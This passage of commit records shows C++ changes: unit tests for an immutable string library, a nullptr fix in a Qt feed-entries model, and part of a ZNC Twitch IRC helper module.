World\"s};\n\t\t\tstr2 = tcs;\n\t\t}\n\t\tREQUIRE( str2 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"concat\", \"[im_str]\" )\n{\n\tmba::im_str cs       = \"How are you?\";\n\tauto        combined = concat( \"Hello\", \" World! \"s, cs );\n\tREQUIRE( combined == \"Hello World! How are you?\" );\n\tREQUIRE( combined.is_zero_terminated() );\n\trequireZero( combined );\n}\n\nTEST_CASE( \"comparison\", \"[im_str]\" )\n{\n\tmba::im_str str1 = \"Hello1\";\n\tmba::im_str str2 = \"Hello2\";\n\n\tCHECK( str1 < str2 );\n\tCHECK( str1 > \"Hello\" );\n\tCHECK( str2 < std::string( \"Hello2o\" ) );\n}\n\nTEST_CASE( \"thread\" )\n{\n\tconstexpr int iterations = 100'000;\n\tusing namespace std::literals;\n\tconst std::string    cpps1 = \"Good\";\n\tconst std::string    cpps2 = \"Bad\";\n\tmba::im_str          s1 {\"Hello\"s};\n\tmba::im_str          s2 {\"World!\"s};\n\tstd::atomic_uint64_t total = 0;\n\n\tstd::atomic_int total_cpps1_fail_cnt = 0;\n\tstd::atomic_int total_cpps2_fail_cnt = 0;\n\tstd::atomic_int total_s1_fail_cnt    = 0;\n\tstd::atomic_int total_s2_fail_cnt    = 0;\n\n\tauto f = [&, s1, s2] {\n\t\tstd::size_t sum            = 0;\n\t\tint         cpps1_fail_cnt = 0;\n\t\tint         cpps2_fail_cnt = 0;\n\t\tint         s1_fail_cnt    = 0;\n\t\tint         s2_fail_cnt    = 0;\n\t\tfor( int i = 0; i < iterations; i++ ) {\n\t\t\t{\n\t\t\t\tmba::im_str cs {cpps1};\n\t\t\t\tsum += cs.size();\n\t\t\t\tcpps1_fail_cnt += cs[0] != 'G';\n\t\t\t}\n\t\t\t{\n\t\t\t\tmba::im_str cs {cpps2};\n\t\t\t\tsum += cs.size();\n\t\t\t\tcpps2_fail_cnt += cs[0] != 'B';\n\t\t\t}\n\t\t\t{\n\t\t\t\tauto s = s1;\n\t\t\t\tsum += s.size();\n\t\t\t\ts1_fail_cnt += s[0] != 'H';\n\t\t\t\ts = s2;\n\t\t\t\ts2_fail_cnt += s[0] != 'W';\n\t\t\t\tsum += s.size();\n\t\t\t}\n\t\t}\n\t\ttotal += sum;\n\t\ttotal_cpps1_fail_cnt += cpps1_fail_cnt;\n\t\ttotal_cpps2_fail_cnt += cpps2_fail_cnt;\n\t\ttotal_s1_fail_cnt += s1_fail_cnt;\n\t\ttotal_s2_fail_cnt += s2_fail_cnt;\n\t};\n\tstd::thread th1( f );\n\tstd::thread th2( f );\n\tth1.join();\n\tth2.join();\n\tREQUIRE( total == ( s1.size() + s2.size() + cpps1.size() + cpps2.size() ) * 2 * iterations );\n\tREQUIRE( total_cpps1_fail_cnt == 0 );\n\tREQUIRE( total_cpps2_fail_cnt == 0 );\n\tREQUIRE( total_s1_fail_cnt == 0 );\n\tREQUIRE( total_s2_fail_cnt == 0 );\n}\n<commit_msg>[tests] Unit test the examples<commit_after>#include <im_str\/im_str.hpp>\n#include <iostream>\n#include <string>\n#include <thread>\n\n#include <catch2\/catch.hpp>\n\nusing namespace std::literals;\n\nvoid requireZero( std::string_view view )\n{\n\tREQUIRE( view.data()[view.size()] == '\\0' );\n}\n\ntemplate<class Container>\nconstexpr bool has_standard_container_typedefs()\n{\n\tusing T = Container;\n\t[[maybe_unused]] typename T::traits_type            traits {};\n\t[[maybe_unused]] typename T::value_type             v {};\n\t[[maybe_unused]] typename T::pointer                p {};\n\t[[maybe_unused]] typename T::const_pointer          cp {};\n\t[[maybe_unused]] typename T::reference              r  = v;\n\t[[maybe_unused]] typename T::const_reference        cr = v;\n\t[[maybe_unused]] typename T::const_iterator         cit {};\n\t[[maybe_unused]] typename T::iterator               it {};\n\t[[maybe_unused]] typename T::reverse_iterator       rit {};\n\t[[maybe_unused]] typename T::const_reverse_iterator crit {};\n\t[[maybe_unused]] typename T::size_type              s {};\n\t[[maybe_unused]] typename T::difference_type        d {};\n\treturn true;\n}\n\nvoid static_checks()\n{\n\tstatic_assert( has_standard_container_typedefs<mba::im_str>() );\n\tstatic_assert( has_standard_container_typedefs<mba::im_zstr>() );\n}\n\nTEST_CASE( \"Construction from literal\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1 = \"Hello World\";\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2 {\"Hello World\"};\n\t\tREQUIRE( str2 == \"Hello World\" );\n\n\t\tmba::im_str str3 = {\"Hello World\"};\n\t\tREQUIRE( str3 == \"Hello World\" );\n\t}\n\n\t{\n\t\tmba::im_zstr zstr1 = \"Hello World\";\n\t\tREQUIRE( zstr1 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr2 {\"Hello World\"};\n\t\tREQUIRE( zstr2 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr3 = {\"Hello World\"};\n\t\tREQUIRE( zstr3 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction empty\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1 = \"\";\n\t\tmba::im_str str2 {};\n\t\tREQUIRE( str1 == str2 );\n\t}\n\t{\n\t\tmba::im_zstr zstr1 = \"\";\n\t\tmba::im_zstr zstr2 {};\n\t\tREQUIRE( zstr1 == zstr2 );\n\t}\n}\n\nTEST_CASE( \"Construction from std::string\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1( \"Hello World\" );\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2 {\"Hello World\"s};\n\t\tREQUIRE( str2 == \"Hello World\" );\n\n\t\tauto stdstr = \"Hello World\"s;\n\n\t\tmba::im_str str3 {stdstr};\n\t\tREQUIRE( str3 == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr zstr1( \"Hello World\" );\n\t\tREQUIRE( zstr1 == \"Hello World\" );\n\n\t\tmba::im_zstr zstr2 {\"Hello World\"s};\n\t\tREQUIRE( zstr2 == \"Hello World\" );\n\n\t\tauto stdstr = \"Hello World\"s;\n\n\t\tmba::im_str zstr3 {stdstr};\n\t\tREQUIRE( zstr3 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction from temporary std::string\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str cs = [] {\n\t\t\tauto        stdstr = \"Hello World\"s;\n\t\t\tmba::im_str cs {stdstr};\n\t\t\tstdstr[0] = 'M'; \/\/ modify original string to make sure we really have an independent copy\n\t\t\tREQUIRE( cs != stdstr );\n\t\t\treturn cs;\n\t\t}();\n\t\tREQUIRE( cs == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr cs = [] {\n\t\t\tauto         stdstr = \"Hello World\"s;\n\t\t\tmba::im_zstr cs {stdstr};\n\t\t\tstdstr[0] = 'M'; \/\/ modify original string to make sure we really have an independent copy\n\t\t\tREQUIRE( cs != stdstr );\n\t\t\treturn cs;\n\t\t}();\n\t\tREQUIRE( cs == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"Construction from im_str\", \"[im_zstr]\" )\n{\n\tstd::string cppstring = \"Hello World, how are you?\";\n\t{\n\t\tconst mba::im_str ims_z {cppstring};\n\n\t\tauto imzs1 = ims_z.create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs1 ), mba::im_zstr> );\n\t\tCHECK( ims_z == imzs1 );\n\n\t\t\/\/ construction from temporary\n\t\tauto imzs2 = mba::im_str( ims_z ).create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs2 ), mba::im_zstr> );\n\t\tCHECK( ims_z == imzs2 );\n\t}\n\n\t\/\/ construction from an ims_nz that isn't alredy zero terminated\n\t{\n\t\tmba::im_str ims_nz = mba::im_str( cppstring ).substr( 0, 3 );\n\n\t\tauto imzs3 = ims_nz.create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs3 ), mba::im_zstr> );\n\t\tCHECK( ims_nz == imzs3 );\n\t\tCHECK( mba::im_str( imzs3 ).is_zero_terminated() );\n\n\t\t\/\/ construction from temporary\n\t\tauto imzs4 = mba::im_str( ims_nz ).create_zstr();\n\t\tstatic_assert( std::is_same_v<decltype( imzs4 ), mba::im_zstr> );\n\t\tCHECK( ims_nz == imzs4 );\n\t\tCHECK( mba::im_str( imzs4 ).is_zero_terminated() );\n\t}\n}\n\nTEST_CASE( \"Copy\", \"[im_str]\" )\n{\n\t{\n\t\tmba::im_str str1;\n\t\t{\n\t\t\t\/\/ no heap allocation\n\t\t\tmba::im_str tcs = \"Hello World\";\n\t\t\tstr1            = tcs;\n\t\t}\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_str str2;\n\t\t{\n\t\t\t\/\/ heap allocated\n\t\t\tmba::im_str tcs {\"Hello World\"s};\n\t\t\tstr2 = tcs;\n\t\t}\n\t\tREQUIRE( str2 == \"Hello World\" );\n\t}\n\t{\n\t\tmba::im_zstr str1;\n\t\t{\n\t\t\t\/\/ no heap allocation\n\t\t\tmba::im_zstr tcs = \"Hello World\";\n\t\t\tstr1             = tcs;\n\t\t}\n\t\tREQUIRE( str1 == \"Hello World\" );\n\n\t\tmba::im_zstr str2;\n\t\t{\n\t\t\t\/\/ heap allocated\n\t\t\tmba::im_zstr tcs {\"Hello World\"s};\n\t\t\tstr2 = tcs;\n\t\t}\n\t\tREQUIRE( str2 == \"Hello World\" );\n\t}\n}\n\nTEST_CASE( \"concat\", \"[im_str]\" )\n{\n\tmba::im_str cs       = \"How are you?\";\n\tauto        combined = concat( \"Hello\", \" World! \"s, cs );\n\tREQUIRE( combined == \"Hello World! How are you?\" );\n\tREQUIRE( combined.is_zero_terminated() );\n\trequireZero( combined );\n}\n\nTEST_CASE( \"comparison\", \"[im_str]\" )\n{\n\tmba::im_str str1 = \"Hello1\";\n\tmba::im_str str2 = \"Hello2\";\n\n\tCHECK( str1 < str2 );\n\tCHECK( str1 > \"Hello\" );\n\tCHECK( str2 < std::string( \"Hello2o\" ) );\n}\n\nTEST_CASE( \"thread\" )\n{\n\tconstexpr int iterations = 100'000;\n\tusing namespace std::literals;\n\tconst std::string    cpps1 = \"Good\";\n\tconst std::string    cpps2 = \"Bad\";\n\tmba::im_str          s1 {\"Hello\"s};\n\tmba::im_str          s2 {\"World!\"s};\n\tstd::atomic_uint64_t total = 0;\n\n\tstd::atomic_int total_cpps1_fail_cnt = 0;\n\tstd::atomic_int total_cpps2_fail_cnt = 0;\n\tstd::atomic_int total_s1_fail_cnt    = 0;\n\tstd::atomic_int total_s2_fail_cnt    = 0;\n\n\tauto f = [&, s1, s2] {\n\t\tstd::size_t sum            = 0;\n\t\tint         cpps1_fail_cnt = 0;\n\t\tint         cpps2_fail_cnt = 0;\n\t\tint         s1_fail_cnt    = 0;\n\t\tint         s2_fail_cnt    = 0;\n\t\tfor( int i = 0; i < iterations; i++ ) {\n\t\t\t{\n\t\t\t\tmba::im_str cs {cpps1};\n\t\t\t\tsum += cs.size();\n\t\t\t\tcpps1_fail_cnt += cs[0] != 'G';\n\t\t\t}\n\t\t\t{\n\t\t\t\tmba::im_str cs {cpps2};\n\t\t\t\tsum += cs.size();\n\t\t\t\tcpps2_fail_cnt += cs[0] != 'B';\n\t\t\t}\n\t\t\t{\n\t\t\t\tauto s = s1;\n\t\t\t\tsum += s.size();\n\t\t\t\ts1_fail_cnt += s[0] != 'H';\n\t\t\t\ts = s2;\n\t\t\t\ts2_fail_cnt += s[0] != 'W';\n\t\t\t\tsum += s.size();\n\t\t\t}\n\t\t}\n\t\ttotal += sum;\n\t\ttotal_cpps1_fail_cnt += cpps1_fail_cnt;\n\t\ttotal_cpps2_fail_cnt += cpps2_fail_cnt;\n\t\ttotal_s1_fail_cnt += s1_fail_cnt;\n\t\ttotal_s2_fail_cnt += s2_fail_cnt;\n\t};\n\tstd::thread th1( f );\n\tstd::thread th2( f );\n\tth1.join();\n\tth2.join();\n\tREQUIRE( total == ( s1.size() + s2.size() + cpps1.size() + cpps2.size() ) * 2 * iterations );\n\tREQUIRE( total_cpps1_fail_cnt == 0 );\n\tREQUIRE( total_cpps2_fail_cnt == 0 );\n\tREQUIRE( total_s1_fail_cnt == 0 );\n\tREQUIRE( total_s2_fail_cnt == 0 );\n}\n\nvoid c_func( const char* ) {}\n\nTEST_CASE( \"Examples\", \"[im_str]\" )\n{\n\t{\n\t\tusing namespace mba;\n\t\tim_str name = \"John\";\n\t\tassert( name == \"John\" );\n\t\tassert( name.size() == 4 );\n\t\tstd::cout << name; \/\/ Will print \"John\";\n\n\t\tim_str cpy = name;\n\t\tname       = im_str( \"Jane Doe\" );\n\t\tassert( cpy == \"John\" );\n\n\t\tauto [first, second] = name.split_on_first( ' ' );\n\n\t\tname = im_str {};\n\t\tcpy  = im_str {};\n\n\t\tassert( first == \"Jane\" );\n\t\tassert( second == \"Doe\" );\n\t}\n\t{\n\t\tstd::string name = \"Mike\";\n\n\t\tmba::im_str  is           = mba::im_str( name );                   \/\/ This allocates\n\t\tmba::im_str full_greeting = mba::concat( \"Hello, \", name, \"!\\n\" ); \/\/ This will also allocate (once)\n\n\t\tstd::cout << full_greeting; \/\/ Prints \"Hello, Mike!\", followed by a newline\n\t}\n\t{\n\t\tusing namespace mba;\n\t\tim_str full = \"Hello, World!\";\n\t\tassert( full.is_zero_terminated() );\n\n\t\tim_str sub = full.substr( 0, 3 );\n\t\tassert( sub.is_zero_terminated() == false );\n\n\t\tim_zstr subz = sub.create_zstr();    \/\/ This will allocate\n\t\tassert( subz.is_zero_terminated() ); \/\/ This will always be true\n\n\t\tim_zstr fullz = std::move( full ).create_zstr(); \/\/ This  will not allocate\n\t\tassert( full.empty() );\n\t\tc_func( fullz.c_str() );\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"EntriesModel.hpp\"\n\n#include <climits>\n#include <type_traits>\n\n#include <QtCore\/QByteArray>\n#include <QtCore\/QHash>\n#include <QtCore\/QVector>\n\n#include \"Entry.hpp\"\n#include \"Feed.hpp\"\n\nnamespace feedling {\n\nEntriesModel::EntriesModel(QObject *parent)\n  : QAbstractListModel (parent)\n{}\n\nEntriesModel::~EntriesModel() = default;\n\nQVariant EntriesModel::data(const QModelIndex &index, int role) const\n{\n    auto data = QVariant();\n    if (index.isValid()) {\n        const auto *entry = static_cast<const Entry *>(index.internalPointer());\n        switch (role) {\n        case Roles::CONTENT:\n            data.setValue<QString>(entry->content());\n            break;\n        case Roles::DATETIME:\n            data.setValue<QDateTime>(entry->dateTime());\n            break;\n        case Qt::DisplayRole:\n        case Roles::TITLE:\n            data.setValue<QString>(entry->title());\n            break;\n        }\n    }\n    return data;\n}\n\nQModelIndex EntriesModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    Q_UNUSED(column);\n\n    auto index = QModelIndex();\n\n    if ((row >= 0) && (row < m_feed->size())) {\n        index = createIndex(row, column, m_feed->getEntry(row).get());\n    }\n\n    return index;\n}\n\nQHash<int, QByteArray> EntriesModel::roleNames() const\n{\n    QHash<int, QByteArray> roles;\n\n    roles[Roles::CONTENT] = \"content\";\n    roles[Roles::DATETIME] = \"dateTime\";\n    roles[Roles::TITLE] = \"title\";\n\n    return roles;\n}\n\nint EntriesModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n\n    return m_feed->size();\n}\n\nvoid EntriesModel::setFeed(const std::shared_ptr<Feed> &feed)\n{\n    m_feed = feed;\n    emit dataChanged(index(0, 0, QModelIndex{}),\n                     index(feed->size() - 1, 0, QModelIndex{}),\n                     QVector<int>{Qt::DisplayRole, Roles::CONTENT, Roles::DATETIME, Roles::TITLE});\n}\n\nstd::shared_ptr<Entry> EntriesModel::getEntry(const QModelIndex &idx) const\n{\n    if (idx.isValid()) {\n        return static_cast<Entry *>(idx.internalPointer())->shared_from_this();\n    }\n    return std::shared_ptr<Entry>{};\n}\n\n}  \/\/ feedling\n<commit_msg>Fix ``nullptr`` dereferencation if no feed was set on ``EntriesModel``<commit_after>#include \"EntriesModel.hpp\"\n\n#include <climits>\n#include <type_traits>\n\n#include <QtCore\/QByteArray>\n#include <QtCore\/QHash>\n#include <QtCore\/QVector>\n\n#include \"Entry.hpp\"\n#include \"Feed.hpp\"\n\nnamespace feedling {\n\nEntriesModel::EntriesModel(QObject *parent)\n  : QAbstractListModel (parent)\n{}\n\nEntriesModel::~EntriesModel() = default;\n\nQVariant EntriesModel::data(const QModelIndex &index, int role) const\n{\n    auto data = QVariant();\n    if (index.isValid()) {\n        const auto *entry = static_cast<const Entry *>(index.internalPointer());\n        switch (role) {\n        case Roles::CONTENT:\n            data.setValue<QString>(entry->content());\n            break;\n        case Roles::DATETIME:\n            data.setValue<QDateTime>(entry->dateTime());\n            break;\n        case Qt::DisplayRole:\n        case Roles::TITLE:\n            data.setValue<QString>(entry->title());\n            break;\n        }\n    }\n    return data;\n}\n\nQModelIndex EntriesModel::index(int row, int column, const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    Q_UNUSED(column);\n\n    auto index = QModelIndex();\n\n    if ((row >= 0) && (row < m_feed->size())) {\n        index = createIndex(row, column, m_feed->getEntry(row).get());\n    }\n\n    return index;\n}\n\nQHash<int, QByteArray> EntriesModel::roleNames() const\n{\n    QHash<int, QByteArray> roles;\n\n    roles[Roles::CONTENT] = \"content\";\n    roles[Roles::DATETIME] = \"dateTime\";\n    roles[Roles::TITLE] = \"title\";\n\n    return roles;\n}\n\nint EntriesModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n\n    if (m_feed) {\n        return m_feed->size();\n    }\n    return 0;\n}\n\nvoid EntriesModel::setFeed(const std::shared_ptr<Feed> &feed)\n{\n    m_feed = feed;\n    emit dataChanged(index(0, 0, QModelIndex{}),\n                     index(feed->size() - 1, 0, QModelIndex{}),\n                     QVector<int>{Qt::DisplayRole, Roles::CONTENT, Roles::DATETIME, Roles::TITLE});\n}\n\nstd::shared_ptr<Entry> EntriesModel::getEntry(const QModelIndex &idx) const\n{\n    if (idx.isValid()) {\n        return static_cast<Entry *>(idx.internalPointer())->shared_from_this();\n    }\n    return std::shared_ptr<Entry>{};\n}\n\n}  \/\/ feedling\n<|endoftext|>"}
{"text":"<commit_before>#include <znc\/main.h>\n#include <znc\/User.h>\n#include <znc\/IRCNetwork.h>\n#include <znc\/Modules.h>\n#include <znc\/Nick.h>\n#include <znc\/Chan.h>\n#include <znc\/IRCSock.h>\n#include <znc\/version.h>\n\n#include <limits>\n\n#include \"twitchtmi.h\"\n#include \"jload.h\"\n\n#if (VERSION_MAJOR < 1) || (VERSION_MAJOR == 1 && VERSION_MINOR < 7)\n#error This module needs at least ZNC 1.7.0 or later.\n#endif\n\nTwitchTMI::~TwitchTMI()\n{\n\n}\n\nbool TwitchTMI::OnLoad(const CString& sArgsi, CString& sMessage)\n{\n\tOnBoot();\n\n\tif(GetNetwork())\n\t{\n\t\tfor(CChan *ch: GetNetwork()->GetChans())\n\t\t{\n\t\t\tch->SetTopic(CString());\n\n\t\t\tCString chname = ch->GetName().substr(1);\n\t\t\tCThreadPool::Get().addJob(new TwitchTMIJob(this, chname));\n\t\t}\n\t}\n\n\tif(GetArgs().Token(0) != \"FrankerZ\")\n\t\tlastFrankerZ = std::numeric_limits<decltype(lastFrankerZ)>::max();\n\n\tPutIRC(\"CAP REQ :twitch.tv\/membership\");\n\tPutIRC(\"CAP REQ :twitch.tv\/commands\");\n\tPutIRC(\"CAP REQ :twitch.tv\/tags\");\n\n\treturn true;\n}\n\nbool TwitchTMI::OnBoot()\n{\n\tinitCurl();\n\n\ttimer = new TwitchTMIUpdateTimer(this);\n\tAddTimer(timer);\n\n\treturn true;\n}\n\nvoid TwitchTMI::OnIRCConnected()\n{\n\tPutIRC(\"CAP REQ :twitch.tv\/membership\");\n\tPutIRC(\"CAP REQ :twitch.tv\/commands\");\n\tPutIRC(\"CAP REQ :twitch.tv\/tags\");\n}\n\nCModule::EModRet TwitchTMI::OnUserRaw(CString &sLine)\n{\n\tif(sLine.Left(5).Equals(\"WHO #\"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(5).Equals(\"AWAY \"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(12).Equals(\"TWITCHCLIENT\"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(9).Equals(\"JTVCLIENT\"))\n\t\treturn CModule::HALT;\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnRawMessage(CMessage &msg)\n{\n\tif(msg.GetCommand().Equals(\"HOSTTARGET\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"CLEARCHAT\"))\n\t{\n\t\tmsg.SetCommand(\"NOTICE\");\n\t\tif(msg.GetParam(1) != \"\")\n\t\t{\n\t\t\tmsg.SetParam(1, msg.GetParam(1) + \" was timed out.\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmsg.SetParam(1, \"Chat was cleared by a moderator.\");\n\t\t}\n\t}\n\telse if(msg.GetCommand().Equals(\"USERSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"ROOMSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"RECONNECT\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"GLOBALUSERSTATE\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse if(msg.GetCommand().Equals(\"WHISPER\"))\n\t{\n\t\tmsg.SetCommand(\"PRIVMSG\");\n\t}\n\n\tCString realNick = msg.GetTag(\"display-name\").Trim_n();\n\tif(realNick != \"\")\n\t\tmsg.GetNick().SetNick(realNick);\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnUserJoin(CString& sChannel, CString& sKey)\n{\n\tCString chname = sChannel.substr(1);\n\tCThreadPool::Get().addJob(new TwitchTMIJob(this, chname));\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnPrivMessage(CTextMessage &Message)\n{\n\tif(Message.GetNick().GetNick().Equals(\"jtv\"))\n\t\treturn CModule::HALT;\n\n\treturn CModule::CONTINUE;\n}\n\nvoid TwitchTMI::PutUserChanMessage(CChan *chan, const CString &from, const CString &msg)\n{\n\tstd::stringstream ss;\n\tss << \":\" << from << \" PRIVMSG \" << chan->GetName() << \" :\";\n\tCString s = ss.str();\n\n\tPutUser(s + msg);\n\n\tif(!chan->AutoClearChanBuffer() || !GetNetwork()->IsUserOnline() || chan->IsDetached())\n\t\tchan->AddBuffer(s + \"{text}\", msg);\n}\n\nCModule::EModRet TwitchTMI::OnChanMessage(CTextMessage &Message)\n{\n\tif(Message.GetNick().GetNick().Equals(\"jtv\"))\n\t\treturn CModule::HALT;\n\n\tif(Message.GetText() == \"FrankerZ\" && std::time(nullptr) - lastFrankerZ > 10)\n\t{\n\t\tstd::stringstream ss;\n\t\tCString mynick = GetNetwork()->GetIRCNick().GetNickMask();\n\t\tCChan *chan = Message.GetChan();\n\n\t\tss << \"PRIVMSG \" << chan->GetName() << \" :FrankerZ\";\n\t\tPutIRC(ss.str());\n\n\t\tCThreadPool::Get().addJob(new GenericJob([]() {}, [this, chan, mynick]()\n\t\t{\n\t\t\tPutUserChanMessage(chan, mynick, \"FrankerZ\");\n\t\t}));\n\n\t\tlastFrankerZ = std::time(nullptr);\n\t}\n\n\treturn CModule::CONTINUE;\n}\n\nbool TwitchTMI::OnServerCapAvailable(const CString &sCap)\n{\n\tif(sCap == \"twitch.tv\/membership\")\n\t\treturn true;\n\telse if(sCap == \"twitch.tv\/tags\")\n\t\treturn true;\n\telse if(sCap == \"twitch.tv\/commands\")\n\t\treturn true;\n\n\treturn false;\n}\n\nCModule::EModRet TwitchTMI::OnUserTextMessage(CTextMessage &msg)\n{\n\tif(msg.GetTarget().Left(1).Equals(\"#\"))\n\t\treturn CModule::CONTINUE;\n\n\tmsg.SetText(msg.GetText().insert(0, \" \").insert(0, msg.GetTarget()).insert(0, \"\/w \"));\n\tmsg.SetTarget(\"#jtv\");\n\n\treturn CModule::CONTINUE;\n}\n\n\nTwitchTMIUpdateTimer::TwitchTMIUpdateTimer(TwitchTMI *tmod)\n\t:CTimer(tmod, 30, 0, \"TwitchTMIUpdateTimer\", \"Downloads Twitch information\")\n\t,mod(tmod)\n{\n}\n\nvoid TwitchTMIUpdateTimer::RunJob()\n{\n\tif(!mod->GetNetwork())\n\t\treturn;\n\n\tfor(CChan *chan: mod->GetNetwork()->GetChans())\n\t{\n\t\tCString chname = chan->GetName().substr(1);\n\t\tCThreadPool::Get().addJob(new TwitchTMIJob(mod, chname));\n\t}\n}\n\n\nvoid TwitchTMIJob::runThread()\n{\n\tstd::stringstream ss, ss2;\n\tss << \"https:\/\/api.twitch.tv\/kraken\/channels\/\" << channel;\n\tss2 << \"https:\/\/api.twitch.tv\/kraken\/streams\/\" << channel;\n\n\tCString url = ss.str();\n\tCString url2 = ss2.str();\n\n\tJson::Value root = getJsonFromUrl(url.c_str(), \"Accept: application\/vnd.twitchtv.v3+json\");\n\tJson::Value root2 = getJsonFromUrl(url2.c_str(), \"Accept: application\/vnd.twitchtv.v3+json\");\n\n\tif(!root.isNull())\n\t{\n\t\tJson::Value &titleVal = root[\"status\"];\n\t\ttitle = CString();\n\n\t\tif(!titleVal.isString())\n\t\t\ttitleVal = root[\"title\"];\n\n\t\tif(titleVal.isString())\n\t\t{\n\t\t\ttitle = titleVal.asString();\n\t\t\ttitle.Trim();\n\t\t}\n\t}\n\n\tlive = false;\n\n\tif(!root2.isNull())\n\t{\n\t\tJson::Value &streamVal = root2[\"stream\"];\n\n\t\tif(!streamVal.isNull())\n\t\t\tlive = true;\n\t}\n}\n\nvoid TwitchTMIJob::runMain()\n{\n\tif(title.empty())\n\t\treturn;\n\n\tCChan *chan = mod->GetNetwork()->FindChan(CString(\"#\") + channel);\n\n\tif(!chan)\n\t\treturn;\n\n\tif(chan->GetTopic() != title)\n\t{\n\t\tchan->SetTopic(title);\n\t\tchan->SetTopicOwner(\"jtv\");\n\t\tchan->SetTopicDate((unsigned long)time(nullptr));\n\n\t\tstd::stringstream ss;\n\t\tss << \":jtv TOPIC #\" << channel << \" :\" << title;\n\n\t\tmod->PutUser(ss.str());\n\t}\n\n\tauto it = mod->liveChannels.find(channel);\n\tif(it != mod->liveChannels.end())\n\t{\n\t\tif(!live)\n\t\t{\n\t\t\tmod->liveChannels.erase(it);\n\t\t\tmod->PutUserChanMessage(chan, \"jtv\", \">>> Channel just went offline! <<<\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif(live)\n\t\t{\n\t\t\tmod->liveChannels.insert(channel);\n\t\t\tmod->PutUserChanMessage(chan, \"jtv\", \">>> Channel just went live! <<<\");\n\t\t}\n\t}\n}\n\n\ntemplate<> void TModInfo<TwitchTMI>(CModInfo &info)\n{\n\tinfo.SetWikiPage(\"Twitch\");\n\tinfo.SetHasArgs(true);\n}\n\nNETWORKMODULEDEFS(TwitchTMI, \"Twitch IRC helper module\")\n<commit_msg>Add USERNOTICE handler<commit_after>#include <znc\/main.h>\n#include <znc\/User.h>\n#include <znc\/IRCNetwork.h>\n#include <znc\/Modules.h>\n#include <znc\/Nick.h>\n#include <znc\/Chan.h>\n#include <znc\/IRCSock.h>\n#include <znc\/version.h>\n\n#include <limits>\n\n#include \"twitchtmi.h\"\n#include \"jload.h\"\n\n#if (VERSION_MAJOR < 1) || (VERSION_MAJOR == 1 && VERSION_MINOR < 7)\n#error This module needs at least ZNC 1.7.0 or later.\n#endif\n\nTwitchTMI::~TwitchTMI()\n{\n\n}\n\nbool TwitchTMI::OnLoad(const CString& sArgsi, CString& sMessage)\n{\n\tOnBoot();\n\n\tif(GetNetwork())\n\t{\n\t\tfor(CChan *ch: GetNetwork()->GetChans())\n\t\t{\n\t\t\tch->SetTopic(CString());\n\n\t\t\tCString chname = ch->GetName().substr(1);\n\t\t\tCThreadPool::Get().addJob(new TwitchTMIJob(this, chname));\n\t\t}\n\t}\n\n\tif(GetArgs().Token(0) != \"FrankerZ\")\n\t\tlastFrankerZ = std::numeric_limits<decltype(lastFrankerZ)>::max();\n\n\tPutIRC(\"CAP REQ :twitch.tv\/membership\");\n\tPutIRC(\"CAP REQ :twitch.tv\/commands\");\n\tPutIRC(\"CAP REQ :twitch.tv\/tags\");\n\n\treturn true;\n}\n\nbool TwitchTMI::OnBoot()\n{\n\tinitCurl();\n\n\ttimer = new TwitchTMIUpdateTimer(this);\n\tAddTimer(timer);\n\n\treturn true;\n}\n\nvoid TwitchTMI::OnIRCConnected()\n{\n\tPutIRC(\"CAP REQ :twitch.tv\/membership\");\n\tPutIRC(\"CAP REQ :twitch.tv\/commands\");\n\tPutIRC(\"CAP REQ :twitch.tv\/tags\");\n}\n\nCModule::EModRet TwitchTMI::OnUserRaw(CString &sLine)\n{\n\tif(sLine.Left(5).Equals(\"WHO #\"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(5).Equals(\"AWAY \"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(12).Equals(\"TWITCHCLIENT\"))\n\t\treturn CModule::HALT;\n\n\tif(sLine.Left(9).Equals(\"JTVCLIENT\"))\n\t\treturn CModule::HALT;\n\n\treturn CModule::CONTINUE;\n}\n\nCModule::EModRet TwitchTMI::OnRawMessage(CMessage &msg)\n{\n\tif(msg.GetCommand().Equals(\"HOSTTARGET\"))\n\t{\n\t\treturn CModule::HALT;\n\t}\n\telse 